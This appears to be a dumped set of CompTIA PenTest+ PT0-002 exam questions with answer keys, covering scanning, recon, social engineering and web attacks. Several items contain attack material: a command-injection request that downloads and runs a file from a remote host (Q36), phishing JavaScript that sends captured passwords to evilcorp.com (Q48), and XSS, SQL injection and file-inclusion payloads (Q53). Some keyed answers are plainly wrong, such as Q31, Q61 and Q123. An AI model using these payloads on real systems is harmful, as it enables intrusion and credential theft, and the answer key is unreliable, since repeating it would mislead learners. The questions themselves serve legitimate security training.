

CompTIA

Exam Questions PT0-002

CompTIA PenTest+ Certification Exam



NEW QUESTION 1

Which of the following commands will allow a penetration tester to permit a shell script to be executed by the file owner?

- A. chmod u+x script.sh
- B. chmod u+e script.sh
- C. chmod o+e script.sh
- D. chmod o+x script.sh

Answer: A

NEW QUESTION 2

Which of the following provides an exploitation suite with payload modules that cover the broadest range of target system types?

- A. Nessus
- B. Metasploit
- C. Burp Suite
- D. Ethercap

Answer: B

NEW QUESTION 3

A penetration tester conducts an Nmap scan against a target and receives the following results:

Port	State	Service
1080/tcp	open	socks

Which of the following should the tester use to redirect the scanning tools using TCP port 1080 on the target?

- A. Nessus
- B. ProxyChains
- C. OWASPZAP
- D. Empire

Answer: B

NEW QUESTION 4

A penetration tester finds a PHP script used by a web application in an unprotected internal source code repository. After reviewing the code, the tester identifies the following:

```
if(isset($_POST['item'])) {  
    echo shell_exec("/http/www/cgi-bin/queryitem ".$_POST['item']);  
}
```

Which of the following tools will help the tester prepare an attack for this scenario?

- A. Hydra and crunch
- B. Netcat and cURL
- C. Burp Suite and DIRB
- D. Nmap and OWASP ZAP

Answer: B

NEW QUESTION 5

A penetration tester received a .pcap file to look for credentials to use in an engagement. Which of the following tools should the tester utilize to open and read the .pcap file?

- A. Nmap
- B. Wireshark
- C. Metasploit
- D. Netcat

Answer: B

NEW QUESTION 6

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

- A. Vulnerability scanning
- B. Network segmentation
- C. System hardening
- D. Intrusion detection

Answer: B

NEW QUESTION 7

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

- A. Statement of work
- B. Program scope
- C. Non-disclosure agreement
- D. Rules of engagement

Answer: D

Explanation:

Rules of engagement (ROE) is a document that outlines the specific guidelines and limitations of a penetration test engagement. The document is agreed upon by both the penetration testing team and the client and sets expectations for how the test will be conducted, what systems are in scope, what types of attacks are allowed, and any other parameters that need to be defined. ROE helps to ensure that the engagement is conducted safely, ethically, and with minimal disruption to the client's operations.

NEW QUESTION 8

A penetration tester ran a simple Python-based scanner. The following is a snippet of the code:

```
...
<LINE NUM.>
<01> portlist: list[int] = [*range(1, 1025)]
<02> try:
<03>     port: object
<04>     resultList: list[Any] = []
<05>     for port in portList:
<06>         sock = socket.socket (socket.AF_INET, socket.SOCK_STREAM)
<07>         sock.settimeout(20)
<08>         result = sock.connect_ex((remoteSvr, port))
<09>         if result == 0:
<10>             resultList.append(port)
<11>         sock.close()
...
```

Which of the following BEST describes why this script triggered a `probable port scan` alert in the organization's IDS?

- A. sock.settimeout(20) on line 7 caused each next socket to be created every 20 milliseconds.
- B. *range(1, 1025) on line 1 populated the portList list in numerical order.
- C. Line 6 uses socket.SOCK_STREAM instead of socket.SOCK_DGRAM
- D. The remoteSvr variable has neither been type-hinted nor initialized.

Answer: B

Explanation:

Port randomization is widely used in port scanners. By default, Nmap randomizes the scanned port order (except that certain commonly accessible ports are moved near the beginning for efficiency reasons) <https://nmap.org/book/man-port-specification.html>

NEW QUESTION 9

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

- A. Asset inventory
- B. DNS records
- C. Web-application scan
- D. Full scan

Answer: A

NEW QUESTION 10

A penetration tester is evaluating a company's network perimeter. The tester has received limited information about defensive controls or countermeasures, and limited internal knowledge of the testing exists. Which of the following should be the FIRST step to plan the reconnaissance activities?

- A. Launch an external scan of netblocks.
- B. Check WHOIS and netblock records for the company.
- C. Use DNS lookups and dig to determine the external hosts.
- D. Conduct a ping sweep of the company's netblocks.

Answer: C

NEW QUESTION 10

A penetration tester is explaining the MITRE ATT&CK framework to a company's chief legal counsel. Which of the following would the tester MOST likely describe as a benefit of the framework?

- A. Understanding the tactics of a security intrusion can help disrupt them.
- B. Scripts that are part of the framework can be imported directly into SIEM tools.
- C. The methodology can be used to estimate the cost of an incident better.
- D. The framework is static and ensures stability of a security program overtime.

Answer: A

NEW QUESTION 13

A penetration tester who is performing a physical assessment of a company's security practices notices the company does not have any shredders inside the office building. Which of the following techniques would be BEST to use to gain confidential information?

- A. Badge cloning
- B. Dumpster diving
- C. Tailgating
- D. Shoulder surfing

Answer: B

NEW QUESTION 17

Which of the following should a penetration tester attack to gain control of the state in the HTTP protocol after the user is logged in?

- A. HTTPS communication
- B. Public and private keys
- C. Password encryption
- D. Sessions and cookies

Answer: D

NEW QUESTION 20

A penetration tester has been given eight business hours to gain access to a client's financial system. Which of the following techniques will have the highest likelihood of success?

- A. Attempting to tailgate an employee going into the client's workplace
- B. Dropping a malicious USB key with the company's logo in the parking lot
- C. Using a brute-force attack against the external perimeter to gain a foothold
- D. Performing spear phishing against employees by posing as senior management

Answer: D

NEW QUESTION 24

A penetration tester who is doing a security assessment discovers that a critical vulnerability is being actively exploited by cybercriminals. Which of the following should the tester do NEXT?

- A. Reach out to the primary point of contact
- B. Try to take down the attackers
- C. Call law enforcement officials immediately
- D. Collect the proper evidence and add to the final report

Answer: A

NEW QUESTION 28

A penetration tester writes the following script:

```
#!/bin/bash
network= '10.100.100'
ports= '22 23 80 443'

for x in {1..254};
do (nc -zv $network.$x $ports );
done
```

Which of the following is the tester performing?

- A. Searching for service vulnerabilities
- B. Trying to recover a lost bind shell
- C. Building a reverse shell listening on specified ports
- D. Scanning a network for specific open ports

Answer: D

Explanation:

-z zero-I/O mode [used for scanning]

-v verbose

example output of script: 10.1.1.1 : inverse host lookup failed: Unknown host (UNKNOWN) [10.0.0.1] 22 (ssh) open
(UNKNOWN) [10.0.0.1] 23 (telnet) : Connection timed out <https://unix.stackexchange.com/questions/589561/what-is-nc-z-used-for>

NEW QUESTION 31

A penetration tester was brute forcing an internal web server and ran a command that produced the following output:

```
$ dirb http://172.16.100.10:3000
-----
DURB v2.22
By The Dark Raver
-----
START_TIME: Wed Feb 3 13:06:18 2021
URL_BASE: http://172.16.100.10:3000
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----
GENERATED WORDS: 4612
---- Scanning URL: http://172.16.100.10:3000 ----
+ http://172.16.100.10:3000/ftp (CODE:200|SIZE:11071)
+ http://172.16.100.10:3000/profile (CODE:500|SIZE:1151)
+ http://172.16.100.10:3000/promotion (CODE:200|SIZE:6586)
+ http://172.16.100.10:3000/robots.txt (CODE:200|SIZE:28)
+ http://172.16.100.10:3000 /Video (CODE:200|SIZE:10075518)

-----
END_TIME: Wed Feb 3 13:07:53 2021
DOWNLOADED: 4612 - FOUND: 5
```

However, when the penetration tester tried to browse the URL `http://172.16.100.10:3000/profile`, a blank page was displayed. Which of the following is the MOST likely reason for the lack of output?

- A. The HTTP port is not open on the firewall.
- B. The tester did not run `sudo` before the command.
- C. The web server is using HTTPS instead of HTTP.
- D. This URI returned a server error.

Answer: A

NEW QUESTION 36

A penetration tester was able to gain access to a system using an exploit. The following is a snippet of the code that was utilized:

```
exploit = "POST "
exploit += "/cgi-bin/index.cgi?action=login&Path=%27%0A/bin/sh${IFS} -
c${IFS}'cd${IFS}/tmp;${IFS}wget${IFS}http://10.10.0.1/apache;${IFS}chmod${IFS}777${IFS}apache;${IFS}
&loginUser=a&Pwd=a"
exploit += "HTTP/1.1"
```

Which of the following commands should the penetration tester run post-engagement?

- A. `grep -v apache ~/.bash_history > ~/.bash_history`
- B. `rm -rf /tmp/apache`
- C. `chmod 600 /tmp/apache`
- D. `taskkill /IM "apache" /F`

Answer: B

NEW QUESTION 40

You are a penetration tester running port scans on a server. INSTRUCTIONS

Part 1: Given the output, construct the command that was used to generate this output from the available options.

Part 2: Once the command is appropriately constructed, use the given output to identify the potential attack vectors that should be investigated further.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

Penetration Testing

Part 1

Part 2

Drag and Drop Options

- sL
- O
- 192.168.2.2
- sU
- sV
- p 1-1023
- 192.168.2.1-100
- Pn
- nc
- top-ports=1000
- hping
- top-ports=100
- nmap

NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

Command

?

Penetration Testing

Part 1

Part 2

Question Options

Using the output, identify potential attack vectors that should be further investigated.

- ☐ Weak SMB file permissions
- ☐ FTP anonymous login
- ☐ Webdav file upload
- ☐ Weak Apache Tomcat Credentials
- ☐ Null session enumeration
- ☐ Fragmentation attack
- ☐ SNMP enumeration
- ☐ ARP spoofing

NMAP Scan Output

```
Host is up (0.00079s latency).
Not shown: 96 closed ports.
PORT      STATE SERVICE
88/tcp    open  kerberos-sec?
139/tcp   open  netbios-ssn
389/tcp   open  ldap?
445/tcp   open  microsoft-ds?
MAC Address: 08:00:27:81:B1:DF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.4.X
OS CPE: cpe:/o:linux_kernel:2.4.21
OS details: Linux 2.4.21
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/.
# Scan done at Fri Oct 13 10:03:06 2017 - 1 IP address (1 host up)
scanned in 26.80 seconds
```

- A. Mastered
- B. Not Mastered

Answer: A

Explanation:

Part 1 - 192.168.2.2 -O -sV --top-ports=100 and SMB vulns Part 2 - Weak SMB file permissions
<https://subscription.packtpub.com/book/networking-and-servers/9781786467454/1/ch01lv1sec13/fingerprinting>

NEW QUESTION 44

A penetration tester is attempting to discover live hosts on a subnet quickly. Which of the following commands will perform a ping scan?

- A. nmap -sn 10.12.1.0/24
- B. nmap -sV -A 10.12.1.0/24
- C. nmap -Pn 10.12.1.0/24
- D. nmap -sT -p- 10.12.1.0/24

Answer: A

NEW QUESTION 48

For a penetration test engagement, a security engineer decides to impersonate the IT help desk. The security engineer sends a phishing email containing an urgent request for users to change their passwords and a link to <https://example.com/index.html>. The engineer has designed the attack so that once the users enter the credentials, the index.html page takes the credentials and then forwards them to another server that the security engineer is controlling. Given the following information:

```
$.ajax({ url: 'https://evilcorp.com/email-list/finish.php',  
  type: 'POST', dataType: 'html',  
  data: {Email: emv, password: psv},  
  _____  
  success: function(msg) {}});
```

Which of the following lines of code should the security engineer add to make the attack successful?

- A. window.location.= 'https://evilcorp.com'
- B. crossDomain: true
- C. geturlparameter ('username')
- D. redirectUrl = 'https://example.com'

Answer: B

NEW QUESTION 53

You are a security analyst tasked with hardening a web server.

You have been given a list of HTTP payloads that were flagged as malicious. INSTRUCTIONS

Given the following attack signatures, determine the attack type, and then identify the associated remediation to prevent the attack in the future.

If at any time you would like to bring back the initial state of the simulation, please click the Reset All button.

HTTP Request Payload Table

Payloads	Vulnerability Type	Remediation
#inner-tab"><script>alert(1)</script>	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
item=widget";waitfor%20delay%20"00:00:20";--	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
item=widget%20union%20select%20null,null,@version;--	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
search=Bob"%3e%3cing%20src%3da%20onerror%3dalert(1)%3e	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
item=widget"+convert(int,@version)*"	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
site=www.exe"ping%20-c%2010%20localhost"mple.com	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
redir=http:%2f%2fwww.malicious-site.com	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
logfile=%2fetc%2fpasswd%00	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
lookup=\$(whoami)	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>
logFile=http:%2f%2fwww.malicious-site.com%2fshell.txt	<div> <div>Command Injection</div> <div>DOM-based Cross Site Scripting</div> <div>SQL Injection (Error)</div> <div>SQL Injection (Stacked)</div> <div>SQL Injection (Union)</div> <div>Reflected Cross Site Scripting</div> <div>Local File Inclusion</div> <div>Remote File Inclusion</div> <div>URL Redirect</div> </div>	<div> <div>Parameterized queries</div> <div>Preventing external calls</div> <div>Input Sanitization : \ , / , sandbox requests</div> <div>Input Sanitization " : \$ [] ()</div> <div>Input Sanitization " : < , > , <</div> </div>

- A. Mastered
 B. Not Mastered

Answer: A

Explanation:

- * 1. Reflected XSS - Input sanitization (<> ...)
- * 2. Sql Injection Stacked - Parameterized Queries
- * 3. DOM XSS - Input Sanitization (<> ...)
- * 4. Local File Inclusion - sandbox req
- * 5. Command Injection - sandbox req
- * 6. SQLi union - paramtrized queries
- * 7. SQLi error - paramtrized queries

- * 8. Remote File Inclusion - sandbox
- * 9. Command Injection - input sanitization
- * 10. URL redirect - prevent external calls

NEW QUESTION 56

A penetration tester who is conducting a vulnerability assessment discovers that ICMP is disabled on a network segment. Which of the following could be used for a denial-of-service attack on the network segment?

- A. Smurf
- B. Ping flood
- C. Fraggle
- D. Ping of death

Answer: C

Explanation:

Fraggle attack is same as a Smurf attack but rather than ICMP, UDP protocol is used. The prevention of these attacks is almost identical to Fraggle attack.

Ref: <https://www.okta.com/identity-101/fraggle-attack/>

NEW QUESTION 61

A red team gained access to the internal network of a client during an engagement and used the Responder tool to capture important data. Which of the following was captured by the testing team?

- A. Multiple handshakes
- B. IP addresses
- C. Encrypted file transfers
- D. User hashes sent over SMB

Answer: B

NEW QUESTION 65

During the scoping phase of an assessment, a client requested that any remote code exploits discovered during testing would be reported immediately so the vulnerability could be fixed as soon as possible. The penetration tester did not agree with this request, and after testing began, the tester discovered a vulnerability and gained internal access to the system. Additionally, this scenario led to a loss of confidential credit card data and a hole in the system. At the end of the test, the penetration tester willfully failed to report this information and left the vulnerability in place. A few months later, the client was breached and credit card data was stolen. After being notified about the breach, which of the following steps should the company take NEXT?

- A. Deny that the vulnerability existed
- B. Investigate the penetration tester.
- C. Accept that the client was right.
- D. Fire the penetration tester.

Answer: B

NEW QUESTION 68

A company obtained permission for a vulnerability scan from its cloud service provider and now wants to test the security of its hosted data. Which of the following should the tester verify FIRST to assess this risk?

- A. Whether sensitive client data is publicly accessible
- B. Whether the connection between the cloud and the client is secure
- C. Whether the client's employees are trained properly to use the platform
- D. Whether the cloud applications were developed using a secure SDLC

Answer: A

NEW QUESTION 72

A final penetration test report has been submitted to the board for review and accepted. The report has three findings rated high. Which of the following should be the NEXT step?

- A. Perform a new penetration test.
- B. Remediate the findings.
- C. Provide the list of common vulnerabilities and exposures.
- D. Broaden the scope of the penetration test.

Answer: B

NEW QUESTION 73

During a penetration-testing engagement, a consultant performs reconnaissance of a client to identify potential targets for a phishing campaign. Which of the following would allow the consultant to retrieve email addresses for technical and billing contacts quickly, without triggering any of the client's cybersecurity tools? (Choose two.)

- A. Scraping social media sites
- B. Using the WHOIS lookup tool
- C. Crawling the client's website
- D. Phishing company employees
- E. Utilizing DNS lookup tools
- F. Conducting wardriving near the client facility

Answer: AC

Explanation:

Technical and billing addresses are usually posted on company websites and company social media sites for the their clients to access. The WHOIS lookup will only avail info for the company registrant, an abuse email contact, etc but it may not contain details for billing addresses.

NEW QUESTION 78

During an assessment, a penetration tester gathered OSINT for one of the IT systems administrators from the target company and managed to obtain valuable information, including corporate email addresses. Which of the following techniques should the penetration tester perform NEXT?

- A. Badge cloning
- B. Watering-hole attack
- C. Impersonation
- D. Spear phishing

Answer: D

Explanation:

Spear phishing is a type of targeted attack where the attacker sends emails that appear to come from a legitimate source, often a company or someone familiar to the target, with the goal of tricking the target into clicking on a malicious link or providing sensitive information. In this case, the penetration tester has already gathered OSINT on the IT system administrator, so they can use this information to craft a highly targeted spear phishing attack to try and gain access to the target system.

NEW QUESTION 81

A company requires that all hypervisors have the latest available patches installed. Which of the following would BEST explain the reason why this policy is in place?

- A. To provide protection against host OS vulnerabilities
- B. To reduce the probability of a VM escape attack
- C. To fix any misconfigurations of the hypervisor
- D. To enable all features of the hypervisor

Answer: B

Explanation:

A hypervisor is a type of virtualization software that allows multiple virtual machines (VMs) to run on a single physical host machine. If the hypervisor is compromised, an attacker could potentially gain access to all of the VMs running on that host, which could lead to a significant data breach or other security issues.

One common type of attack against hypervisors is known as a VM escape attack. In this type of attack, an attacker exploits a vulnerability in the hypervisor to break out of the VM and gain access to the host machine. From there, the attacker can potentially gain access to other VMs running on the same host.

By ensuring that all hypervisors have the latest available patches installed, the company can reduce the likelihood that a VM escape attack will be successful. Patches often include security updates and vulnerability fixes that address known issues and can help prevent attacks.

NEW QUESTION 84

A penetration tester has identified several newly released CVEs on a VoIP call manager. The scanning tool the tester used determined the possible presence of the CVEs based off the version number of the service. Which of the following methods would BEST support validation of the possible findings?

- A. Manually check the version number of the VoIP service against the CVE release
- B. Test with proof-of-concept code from an exploit database
- C. Review SIP traffic from an on-path position to look for indicators of compromise
- D. Utilize an nmap -sV scan against the service

Answer: B

NEW QUESTION 88

A penetration tester is preparing to perform activities for a client that requires minimal disruption to company operations. Which of the following are considered passive reconnaissance tools? (Choose two.)

- A. Wireshark
- B. Nessus
- C. Retina
- D. Burp Suite
- E. Shodan
- F. Nikto

Answer: AE

NEW QUESTION 92

A penetration tester initiated the transfer of a large data set to verify a proof-of-concept attack as permitted by the ROE. The tester noticed the client's data included PII, which is out of scope, and immediately stopped the transfer. Which of the following MOST likely explains the penetration tester's decision?

- A. The tester had the situational awareness to stop the transfer.
- B. The tester found evidence of prior compromise within the data set.
- C. The tester completed the assigned part of the assessment workflow.
- D. The tester reached the end of the assessment time frame.

Answer: A

NEW QUESTION 97

Which of the following web-application security risks are part of the OWASP Top 10 v2017? (Choose two.)

- A. Buffer overflows
- B. Cross-site scripting
- C. Race-condition attacks
- D. Zero-day attacks
- E. Injection flaws
- F. Ransomware attacks

Answer: BE

Explanation:

A01-Injection
A02-Broken Authentication A03-Sensitive Data Exposure A04-XXE
A05-Broken Access Control A06-Security Misconfiguration A07-XSS
A08-Insecure Deserialization
A09-Using Components with Known Vulnerabilities A10-Insufficient Logging & Monitoring

NEW QUESTION 102

Which of the following expressions in Python increase a variable val by one (Choose two.)

- A. val++
- B. +val
- C. val=(val+1)
- D. ++val
- E. val=val++
- F. val+=1

Answer: CF

Explanation:

<https://pythonguides.com/increment-and-decrement-operators-in-python/>

NEW QUESTION 107

A company hired a penetration-testing team to review the cyber-physical systems in a manufacturing plant.

The team immediately discovered the supervisory systems and PLCs are both connected to the company intranet. Which of the following assumptions, if made by the penetration-testing team, is MOST likely to be valid?

- A. PLCs will not act upon commands injected over the network.
- B. Supervisors and controllers are on a separate virtual network by default.
- C. Controllers will not validate the origin of commands.
- D. Supervisory systems will detect a malicious injection of code/commands.

Answer: C

NEW QUESTION 111

A penetration tester is trying to restrict searches on Google to a specific domain. Which of the following commands should the penetration tester consider?

- A. inurl:
- B. link:
- C. site:
- D. intitle:

Answer: C

NEW QUESTION 113

A penetration tester is assessing a wireless network. Although monitoring the correct channel and SSID, the tester is unable to capture a handshake between the clients and the AP. Which of the following attacks is the MOST effective to allow the penetration tester to capture a handshake?

- A. Key reinstallation
- B. Deauthentication
- C. Evil twin
- D. Replay

Answer: B

Explanation:

Deauth will make the client connect again

NEW QUESTION 116

A penetration tester was hired to perform a physical security assessment of an organization's office. After monitoring the environment for a few hours, the penetration tester notices that some employees go to lunch in a restaurant nearby and leave their belongings unattended on the table while getting food. Which of the following techniques would MOST likely be used to get legitimate access into the organization's building without raising too many alerts?

- A. Tailgating
- B. Dumpster diving
- C. Shoulder surfing
- D. Badge cloning

Answer: D

NEW QUESTION 117

A penetration tester who is performing an engagement notices a specific host is vulnerable to EternalBlue. Which of the following would BEST protect against this vulnerability?

- A. Network segmentation
- B. Key rotation
- C. Encrypted passwords
- D. Patch management

Answer: D

Explanation:

Patch management is the process of identifying, downloading, and installing security patches for a system in order to address new vulnerabilities and software exploits. In the case of EternalBlue, the vulnerability was addressed by Microsoft in the form of a security patch. Installing this patch on the vulnerable host will provide protection from the vulnerability. Additionally, organizations should implement a patch management program to regularly check for and install security patches for the systems in their environment.

Network segmentation (A) can limit the impact of a compromise by separating different parts of the network into smaller, more isolated segments. However, it does not address the vulnerability itself.

Key rotation (B) is the process of periodically changing cryptographic keys, which can help protect against attacks that rely on stolen or compromised keys. However, it is not directly related to the EternalBlue vulnerability.

Encrypted passwords (C) can help protect user credentials in case of a data breach or other compromise, but it does not prevent attackers from exploiting the EternalBlue vulnerability.

NEW QUESTION 121

A mail service company has hired a penetration tester to conduct an enumeration of all user accounts on an SMTP server to identify whether previous staff member accounts are still active. Which of the following commands should be used to accomplish the goal?

- A. VRFY and EXPN
- B. VRFY and TURN
- C. EXPN and TURN
- D. RCPT TO and VRFY

Answer: A

NEW QUESTION 123

A penetration tester created the following script to use in an engagement:

```
#!/usr/bin/python

import socket

ports = [21,22,23,25,80,139,443,445,3306,3389]

if len(sys.argv) == 2:
    target = socket.gethostbyname(sys.argv[1])
else:
    print("Few arguments.")
    print("Syntax: python {} <>".format(sys.argv[0]))
    sys.exit()

try:
    for port in ports:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(2)
        result = s.connect_ex((target,port))
        if result == 0:
            print("Port {} is opened".format(port))

except KeyboardInterrupt:
    print("Exiting...")
    sys.exit()
```

However, the tester is receiving the following error when trying to run the script:


```
$ python script.py 192.168.0.1
Traceback (most recent call last):
  File "script.py", line 7, in <module>
    if len(sys.argv) == 2:
NameError: name 'sys' is not defined
```

Which of the following is the reason for the error?

- A. The sys variable was not defined.
- B. The argv variable was not defined.
- C. The sys module was not imported.
- D. The argv module was not imported.

Answer: A

NEW QUESTION 128

A security analyst needs to perform an on-path attack on BLE smart devices. Which of the following tools would be BEST suited to accomplish this task?

- A. Wireshark
- B. Gattacker
- C. tcpdump
- D. Netcat

Answer: B

Explanation:

The best tool for performing an on-path attack on BLE smart devices is Gattacker. Gattacker is a Bluetooth Low Energy (BLE) pentesting and fuzzing framework specifically designed for on-path attacks. It allows security analysts to perform a variety of tasks, including man-in-the-middle attacks, passive and active scans, fuzzing of BLE services, and more. Gattacker also provides an interactive command-line interface that makes it easy to interact with the target BLE device and execute various commands.

NEW QUESTION 130

The following PowerShell snippet was extracted from a log of an attacker machine:

```
1.$net="192.168.1."
2.$setipaddress ="192.168.2."
3.function Test-Password {
4.if (args[0] -eq 'Dummy12345') {
5. return 1
6.}
7.else {
8.$cat = 22, 25, 80, 443
9. return 0
10.}
11.}
12.$cracked = 0
13.crackedpd = [ 192, 168, 1, 2]
14.$i =0
15.Do {
16. $test = 'Dummy' + $i
17. $cracked = Test - Password Test
18.$i++
19.$crackedp = ( 192, 168, 1, 1) + $cat
20.}
21.While($cracked -eq 0)
22.Write-Host " Password found : " $test
23.$setipaddress = [ 192, 168, 1, 4]
```

A penetration tester would like to identify the presence of an array. Which of the following line numbers would define the array?

- A. Line 8
- B. Line 13
- C. Line 19
- D. Line 20

Answer: A

Explanation:

https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_arrays?view=powe

NEW QUESTION 134

A penetration tester has been hired to perform a physical penetration test to gain access to a secure room within a client's building. Exterior reconnaissance identifies two entrances, a WiFi guest network, and multiple security cameras connected to the Internet. Which of the following tools or techniques would BEST support additional reconnaissance?

- A. Wardriving
- B. Shodan
- C. Recon-ng
- D. Aircrack-ng

Answer: C

NEW QUESTION 138

Which of the following tools provides Python classes for interacting with network protocols?

- A. Responder
- B. Impacket
- C. Empire
- D. PowerSploit

Answer: B

NEW QUESTION 139

A penetration tester logs in as a user in the cloud environment of a company. Which of the following Pacu modules will enable the tester to determine the level of access of the existing user?

- A. iam_enum_permissions
- B. iam_privesc_scan
- C. iam_backdoor_assume_role
- D. iam_bruteforce_permissions

Answer: A

NEW QUESTION 140

A penetration tester writes the following script:

```
#!/bin/bash
for x in `seq 1 254`; do
    ping -c 1 10.10.1.$x;
done
```

Which of the following objectives is the tester attempting to achieve?

- A. Determine active hosts on the network.
- B. Set the TTL of ping packets for stealth.
- C. Fill the ARP table of the networked devices.
- D. Scan the system on the most used ports.

Answer: A

NEW QUESTION 143

A private investigation firm is requesting a penetration test to determine the likelihood that attackers can gain access to mobile devices and then exfiltrate data from those devices. Which of the following is a social-engineering method that, if successful, would MOST likely enable both objectives?

- A. Send an SMS with a spoofed service number including a link to download a malicious application.
- B. Exploit a vulnerability in the MDM and create a new account and device profile.
- C. Perform vishing on the IT help desk to gather a list of approved device IMEIs for masquerading.
- D. Infest a website that is often used by employees with malware targeted toward x86 architectures.

Answer: A

Explanation:

Since it doesn't indicate company owned devices, sending a text to download an application is best. And it says social-engineering so a spoofed text falls under that area.

NEW QUESTION 144

Which of the following should a penetration tester consider FIRST when engaging in a penetration test in a cloud environment?

- A. Whether the cloud service provider allows the penetration tester to test the environment
- B. Whether the specific cloud services are being used by the application
- C. The geographical location where the cloud services are running
- D. Whether the country where the cloud service is based has any impeding laws

Answer: A

NEW QUESTION 149

A penetration tester utilized Nmap to scan host 64.13.134.52 and received the following results:

```
# nmap -T4 -v -oG - scanme.nmap.org
# Nmap 5.35DC18 scan initiated [time] as: nmap -T4 -A -v -cG -
scanme.nmap.org
# Ports scanned: TCP(1000;1, 3-4, 6-7, ..., 65389) UDP (0;) PROTOCOLS(0;)
Host: 64.13.134.52 (scanme.nmap.org) Status: Up
Host: 64.13.134.52 (scanme.nmap.org)
Ports:
22/open/tcp
25/closed/tcp
53/open/tcp
70/closed/tcp
